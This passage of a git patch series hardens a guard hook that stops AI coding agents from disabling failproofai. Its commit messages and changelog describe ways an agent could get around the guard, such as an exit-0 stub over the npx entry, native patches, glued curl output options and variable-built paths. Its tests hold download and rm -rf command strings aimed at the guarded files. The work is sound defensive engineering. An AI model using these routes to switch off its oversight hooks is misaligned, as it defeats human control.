copiesContents)) return true; + // The destination as written, or wherever a link there points. + const intoBin = NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(written); + if (intoBin && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { // A trailing separator keeps the directory's own name everywhere but rsync, @@ -1714,9 +1717,15 @@ function landsInDirectoryAs( if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; // A directory named `.bin` landing in a `node_modules` is the same swap. - if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; + const writtenLanding = `${written.replace(/[\\/]+$/, "")}/${name}`; + if ( + (NPM_BIN_DIRECTORY_RE.test(landing) || isBinDir(writtenLanding)) && + (head === "mv" || head === "ln" || recursive) + ) { + return true; + } // A glob source puts names the line does not spell into the directory. - if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; + if (intoBin && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); }); @@ -2083,16 +2092,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) pending: Where[]; }> = []; const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; - // Each place once, not where the shell certainly is, and only the latest few. - const possible = (list: Where[], limit = MAX_ALTERNATE_DIRS): Where[] => { + // A directory the walk cannot name: where the shell may be once there are + // more possibilities than it tracks. + const UNKNOWN: Where = { dir: undefined, full: undefined, deep: false, lost: true, inState: false }; + // Each place once. Past the limit the oldest are not dropped, since the + // shell may still be in any of them: the newest few are kept and the rest + // read as a directory the walk lost. + const fold = (list: Where[], limit: number): Where[] => { const kept: Where[] = []; - for (const where of list.slice().reverse()) { - if (kept.length < limit && !sameWhere(where, at) && !kept.some((other) => sameWhere(other, where))) { - kept.unshift(where); - } - } - return kept; + for (const where of list) if (!kept.some((other) => sameWhere(other, where))) kept.push(where); + if (kept.length <= limit) return kept; + return [...kept.filter((where) => !sameWhere(where, UNKNOWN)).slice(-(limit - 1)), UNKNOWN]; }; + // Where else the shell may stand: not where it certainly is. + const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); // Symlinks this line makes (`ln -s `), which no `lstat` sees // yet, followed the way the kernel does: the first component that is one is // replaced by where it points, and the result is walked again. @@ -2125,6 +2138,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (text.startsWith("-")) return false; if (base.lost && relativeWord(text)) { if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + // From a directory the walk cannot see, `bins/failproofai` may go + // through a link to npm's bin directory. + if (text.includes("/") && couldBeEntryName(text.slice(text.lastIndexOf("/") + 1))) return true; } // A `..` can climb above `dir`. Then it is read from the whole path, cut // the same way, or when even that was too long to keep, as if from an @@ -2161,39 +2177,52 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // line has already been judged as written. const resolvesOntoState = (text: string): boolean => resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); - // A written path as the absolute path it spells from `base`: `plain` as - // text, `linked` with the symlinks this line made applied. - const absoluteFrom = (base: Where, written: string): { plain: string; linked: string } | undefined => { + // A written path as the absolute path it spells from `base`: `raw` as the + // kernel walks it, each `..` taken after any link before it; `plain` as + // text; `linked` with the symlinks this line made applied. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string; linked: string } | undefined => { if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { return undefined; } - const plain = written.startsWith("/") - ? shellPath(undefined, written) + const raw = written.startsWith("/") + ? written : written === "~" || written.startsWith("~/") - ? shellPath(undefined, homedir() + written.slice(1)) + ? homedir() + written.slice(1) : relativeWord(written) && !base.lost && base.full?.startsWith("/") - ? shellPath(base.full, written) + ? `${base.full}/${written}` : undefined; - return plain === undefined ? undefined : { plain, linked: followLinks(plain) }; + if (raw === undefined) return undefined; + const plain = shellPath(undefined, raw); + return { raw, plain, linked: followLinks(plain) }; }; const realPaths = new Map(); const realPath = (path: string): string => { let real = realPaths.get(path); - if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || path)); + if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); return real; }; + // Where a written path really is, from each place the shell may stand: on + // disk as the kernel resolves it, and with this line's own links applied. + const realPathsOf = (written: string): Array<{ plain: string; real: string }> => { + const out: Array<{ plain: string; real: string }> = []; + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, written); + if (path === undefined) continue; + out.push({ plain: path.plain, real: realPath(path.raw) }); + if (path.linked !== path.plain) out.push({ plain: path.plain, real: realPath(path.linked) }); + } + return out; + }; + // Whether a written directory really is npm's bin directory, through links. + const isBinDir = (written: string): boolean => + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => NPM_BIN_DIRECTORY_RE.test(real)); // Whether a path really lands on what `namesState` protects once symlinks // are followed — those on disk, as the file tools already follow them, and // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. const landsOnState = (written: string): boolean => - [at, ...alts].some((base) => { - const path = absoluteFrom(base, written); - if (path === undefined) return false; - const real = realPath(path.linked); - return real !== path.plain && namesState(real); - }); + realPathsOf(written).some(({ plain, real }) => real !== plain && namesState(real)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); // What the line has assigned by the point the walk reaches, so a word built // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s @@ -2204,19 +2233,27 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // `cd` the walk cannot follow. Every word is judged as written as well, so an // assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); - const expand = (word: string): string => { + const expandAt = (word: string, here: Where): string => { let out = word; - if (out.startsWith("~+") && at.dir !== undefined && !at.lost) out = at.dir + out.slice(2); + if (out.startsWith("~+") && here.dir !== undefined && !here.lost) out = here.dir + out.slice(2); else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && at.dir !== undefined && !at.lost ? at.dir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && here.dir !== undefined && !here.lost + ? here.dir + : values.get(name) ?? (name === "HOME" ? "~" : reference), ); // A value that refers to itself grows with every pass. if (out.length > 4096) return word; } return out; }; + const expand = (word: string): string => expandAt(word, at); + // `$PWD` and `~+` name wherever the shell stands, which after a move that + // may have failed is any of the places it may be. + const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; + const expandEverywhere = (word: string): string[] => + NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; // `named` is the operand as written, judged when the walk cannot follow it. const whereAfter = (base: Where, target: string, named: string): Where => { if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; @@ -2260,7 +2297,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const moveTo = (to: Where, others: Where[] = [], certain = false) => { if (sameWhere(to, at) && alts.length === 0) return; previous = at; - if (!certain) pending = [...pending, at, ...alts].slice(-2 * MAX_ALTERNATE_DIRS); + if (!certain) pending = fold([...pending, at, ...alts], 2 * MAX_ALTERNATE_DIRS); at = to; alts = possible(others); cwdInState = at.inState; @@ -2378,7 +2415,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // exactly the diagnosis this guard must not block. for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { const written = target.replace(/^["']|["']$/g, ""); - if (namesHere(written) || namesHere(expand(written))) return true; + if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; } for (const simple of simpleCommands) { @@ -2389,6 +2426,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const words = commandWordList(simple); const expanded = words.map(expand); const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; + if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { + for (const alt of alts) lists.push(words.map((word) => expandAt(word, alt))); + } const head = words.length > 0 ? commandBasename(words[0]) : ""; if (head === "cd" || head === "pushd" || head === "popd") { // Every stage of a pipeline runs in a subshell of its own, so a `cd` @@ -2403,10 +2443,10 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) [at, ...alts].some((base) => lists.some( (list) => - landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState) || + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || downloadLandings(list).some(({ dir, name }) => { const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); - if (name === null) return NPM_BIN_DIRECTORY_RE.test(into); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir); const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; return ( namesState(fromBase(base, landing)) || From 2421afb65ddcd5e2848142ca6b1592cd715d5baa Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:45:02 +0530 Subject: [PATCH 40/60] Keep the guard linear on padded commands MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `find . -name '*.sqlite' -delete` followed by 32 KB of `x` took 16 s in `block-failproofai-commands`, and 128 KB took 274 s, so two-tier-handler's padded-call tests timed out in CI. The `.bin` entry's glued-option branch, `(?<=(?:^|\s)-[A-Za-z]+)` placed before the literal, ran at every position of a run of letters and scanned back over all of it. The lookbehind now follows the literal, so it runs only where `.bin` matched, and the option cluster is bounded to 16 letters. A path longer than PATH_MAX is no longer walked on disk: no write can open it, and checking a 128 KB `a/a/a/…` one component at a time cost a second. Four bounded-time tests cover the envelope's 128 KB cap. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 10 ++++++++++ src/hooks/builtin-policies.ts | 13 +++++++++++-- 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 19e3cd2e1..a9404c01f 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -607,6 +607,16 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], // A value that refers to itself grew with every expansion pass. ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], + // The envelope's 128 KB field cap. A lookbehind that scanned back over a + // run of letters at every position took 16 s at 32 KB, and a long path + // walked on disk one component at a time took a second at 128 KB. + ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], + ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], + [ + "thirty paths just under PATH_MAX", + "echo " + Array.from({ length: 30 }, (_, i) => `w${i}/` + "a/".repeat(2_040)).join(" "), + ], ])("judges %s in bounded time", async (_label, command) => { const started = performance.now(); await bash(command); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 5c651e640..6b783427a 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -544,10 +544,13 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // `firmware.bin/failproofai` is not it, but anything that is not part of a // name may stand before it (`>.bin/…`), and so may a short option the // path is glued to, alone or at the end of a cluster (`-O.bin/…`, - // `-so.bin/…`). A FILE, like the entry above: the rest of + // `-so.bin/…`). The lookbehind comes after the literal and the cluster is + // bounded: before it, a long run of letters made every position scan back + // over the whole run, and a padded 32 KB command took 16 s. A FILE, like + // the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`(?:(?(); const realPath = (path: string): string => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (path.length > PATH_MAX_BYTES) return shellPath(undefined, path); let real = realPaths.get(path); if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); return real; @@ -2515,6 +2521,9 @@ const FULL_DIR_SEGMENTS = 64; /** How many directories a failed `cd` can leave the shell in that the walk tracks. */ const MAX_ALTERNATE_DIRS = 4; +/** Linux's PATH_MAX: `open(2)` refuses a longer path with ENAMETOOLONG. */ +const PATH_MAX_BYTES = 4096; + /** * Where a relative word is also read once the walk has lost the shell's * directory: the places an installed failproofai entry or package lives. Only From 570dca2aafd6867baaed3504868d46f2fa672fdf Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:46:39 +0530 Subject: [PATCH 41/60] Leave the glued-option cluster before .bin unbounded MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With the lookbehind after the literal, each `.bin` match scans back only over the letters just before it, and no two matches share them (`.bin` starts with a dot), so an unbounded cluster stays linear: 128 KB in about 20 ms. The 16-letter bound let a padded cluster through: `wget -qqqq…qO.bin/failproofai ` from `node_modules`. Pointed out by the #1796 session, which made the same change for `node_modules` and `.pnpm` in #1050. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 5 ++++- src/hooks/builtin-policies.ts | 12 +++++++----- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index a9404c01f..383046e7e 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -414,8 +414,9 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], - // The same path glued to the last option of a cluster. + // The same path glued to the last option of a cluster, however long. ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], + ["/work/proj/node_modules", `wget -${"q".repeat(40)}O.bin/failproofai https://example.com/x`], ])("denies a write from the session directory %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -612,6 +613,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // walked on disk one component at a time took a second at 128 KB. ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["thirty long option clusters, each glued to .bin", "echo " + Array(30).fill("-" + "a".repeat(4_000) + ".bin/x").join(" ")], + ["a 128 KB run of letters ending in .bin", "echo -" + "a".repeat(128_000) + ".bin/failproofai.txt"], ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], [ "thirty paths just under PATH_MAX", diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 6b783427a..2337e3dba 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -544,13 +544,15 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // `firmware.bin/failproofai` is not it, but anything that is not part of a // name may stand before it (`>.bin/…`), and so may a short option the // path is glued to, alone or at the end of a cluster (`-O.bin/…`, - // `-so.bin/…`). The lookbehind comes after the literal and the cluster is - // bounded: before it, a long run of letters made every position scan back - // over the whole run, and a padded 32 KB command took 16 s. A FILE, like - // the entry above: the rest of + // `-so.bin/…`). The lookbehind comes after the literal, so it runs only + // where `.bin` matched and scans back over the letters just before it, + // which no other match shares (`.bin` starts with a dot): linear. Placed + // before the literal it ran at every position of a run of letters and + // scanned back over all of it, and a padded 32 KB command took 16 s. A + // FILE, like the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`\.bin(?<=(?:^|[^\w.-])\.bin|(?:^|\s)-[A-Za-z]{1,16}\.bin)[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + String.raw`\.bin(?<=(?:^|[^\w.-])\.bin|(?:^|\s)-[A-Za-z]+\.bin)[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); From 85b52c144eb3a86514e303c5c91e054aff634342 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 22:12:44 +0530 Subject: [PATCH 42/60] [hooks] Test upper-case .bin globs against the case-insensitive glob match #1050 now matches a glob's literal parent case-insensitively, because a default macOS volume resolves NODE_MODULES/ to node_modules/. Pin that a glob onto the entry under an upper-case parent is refused and a sweep of every entry there is not. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 383046e7e..f9c3c1c17 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -289,6 +289,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // A default macOS volume resolves the literal parent whatever its case. + ["an upper-case parent", "rm -rf NODE_MODULES/.BIN/f*"], // `/home/u/.failproofai` is a candidate itself; another home is not. ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], @@ -500,6 +502,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["clearing every entry under an upper-case parent", "rm -rf NODE_MODULES/.BIN/*"], ["installing dependencies", "npm install"], ["adding a dev dependency", "npm i -D vitest"], ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], From afc7c42530c17b840b501963f4bd6c20f05dd914 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 23:41:21 +0530 Subject: [PATCH 43/60] [hooks] Close hermes's four findings: native patches, glued outputs, line links, printed text MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of a0c7b1e3 (FailproofAI/failproofai#1058): - Native Codex patches. `apply_patch` is canonicalized to Edit but carries its patch in tool_input.command with no file_path, so the file-tool check read an empty path and a patch could plant node_modules/.bin/failproofai (or write the state). Every file a patch names is now checked, as given and through links: Add/Update/Delete File, Move to, unified ---/+++ paths, from any input that is not file content (OpenCode's patchText, an argv), relative to the session's directory and the call's workdir. An e2e test drives the real CLI with Codex's native payload. - Glued output files. An option word did not resolve as a path, so `cd node_modules/.bin && curl -sofailproofai ` and `curl -sohook ` (hook a link to the entry) never reached the output-flag check. Values glued to an option are now read from where the shell stands and through links: as getopt reads the cluster for curl and wget, at every split elsewhere (`gcc -o`, `tar -cf`), and a cluster over 32 letters is read as reaching the state. `curl --output=` now checks the value. - Links made on the line. They were followed after `..` had been collapsed as text, and for at most 8 hops. Paths now resolve as the kernel resolves them, one component at a time through the line's links and those on disk, each `..` after the link it follows, failing closed past 40 links. ln's directory forms (`.`, `dir/`, an existing directory, -t, several targets, one operand, -r) put the link where ln does, and a target the walk cannot read is judged by what it says. - Printed text. A `>` quoted inside a lone echo or printf (no pipe, no redirect of its own, not printf -v, no subshell, group, substitution or heredoc on the line) is text in both passes, so a command can be documented; `bash -c '…'` and `echo '…' | sh` are still read as code. Each directory is walked once and listed once, so 128 KB of option clusters is judged in under 0.1 s. No decision changed on the 12,224 strings of the other hooks tests. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/e2e/helpers/payloads.ts | 12 + .../e2e/hooks/codex-integration.e2e.test.ts | 47 +- __tests__/hooks/guard-npx-local-bin.test.ts | 214 ++++++++ src/hooks/builtin-policies.ts | 519 +++++++++++++++--- 5 files changed, 720 insertions(+), 74 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 41df31957..08d3b0bd1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close four ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink (one the same line makes is resolved as the kernel resolves it), through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/e2e/helpers/payloads.ts b/__tests__/e2e/helpers/payloads.ts index c9d4dac75..9b3f7381b 100644 --- a/__tests__/e2e/helpers/payloads.ts +++ b/__tests__/e2e/helpers/payloads.ts @@ -121,6 +121,18 @@ export const CodexPayloads = { tool_input: { command }, }; }, + // Codex's native file edit, as it reaches the hook: `apply_patch`, with the + // patch in `tool_input.command` and no `file_path` at all. + applyPatch(patch: string, cwd: string): Record { + return { + session_id: CODEX_SESSION_ID, + transcript_path: TRANSCRIPT_PATH, + cwd, + hook_event_name: "pre_tool_use", + tool_name: "apply_patch", + tool_input: { command: patch }, + }; + }, write(filePath: string, content: string, cwd: string): Record { // Codex aliases Edit/Write → apply_patch in matchers, so policies that // filter on toolNames: ["Write"] continue to fire for Codex. diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index 1cf82c28a..b7f77fa99 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -7,7 +7,7 @@ */ import { describe, it, expect } from "vitest"; import { execSync } from "node:child_process"; -import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync } from "node:fs"; +import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync, symlinkSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; @@ -166,6 +166,51 @@ describe("E2E: Codex integration — hook protocol", () => { }); }); +// Codex edits files with its native `apply_patch`, whose patch arrives in +// `tool_input.command` with no `file_path`. A patch planting +// `node_modules/.bin/failproofai` — the file a project-scope `npx -y failproofai` +// hook runs — passed the always-on guard until every file a patch names was +// checked (found by hermes on FailproofAI/failproofai#1058). +describe("E2E: Codex integration — native apply_patch", () => { + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + + it.each([ + ["adding the entry", patchOf("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0")], + ["updating the entry", patchOf("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0")], + ["moving a file onto the entry", patchOf("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0")], + ["updating a link to the entry", patchOf("*** Update File: hook", "@@", "+exit 0")], + ])("PreToolUse: a native patch %s is denied", (_label, patch) => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + symlinkSync(resolve(env.cwd, "node_modules", ".bin", "failproofai"), resolve(env.cwd, "hook")); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native patch to project files is allowed", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const patch = patchOf("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: node_modules/.bin/my-tool", "+exit 0"); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertAllow(result); + } finally { + env.cleanup(); + } + }); +}); + describe("E2E: Codex integration — install/uninstall", () => { it("policies --install --cli codex --scope project writes .codex/hooks.json with PascalCase keys", () => { const env = createCodexEnv(); diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index f9c3c1c17..055a845d4 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -42,6 +42,21 @@ const write = async (file_path: string, cwd?: string) => }), ); +/** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ +const patch = async (toolInput: Record, cwd = "/work/proj") => + (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; + +/** A patch in the format Codex's `apply_patch` takes. */ +const v4a = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + +/** `count` option words of 32 distinct letters, each with a value glued on. */ +const optionClusters = (count: number) => + Array.from({ length: count }, (_, i) => { + let letters = ""; + for (let k = 0, n = i; k < 31; k++, n = Math.floor(n / 26) + k) letters += "abcdefghijklmnopqrstuvwxyz"[n % 26]; + return `-${letters}q${i}`; + }).join(" "); + /** * A project-scope hook is `npx -y failproofai --hook …`, so that a committed * settings file names no machine's path. npx runs a @@ -105,6 +120,54 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); }); + // Codex's `apply_patch` (canonical `Edit`) carries its patch in + // `tool_input.command` and names no `file_path`; OpenCode's sends + // `patchText`. Every file a patch names is one the tool writes (found by + // hermes on FailproofAI/failproofai#1058). + describe("patches", () => { + it.each([ + ["a file it adds", { command: v4a("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0") }], + ["a file it updates", { command: v4a("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0") }], + ["a file it deletes", { 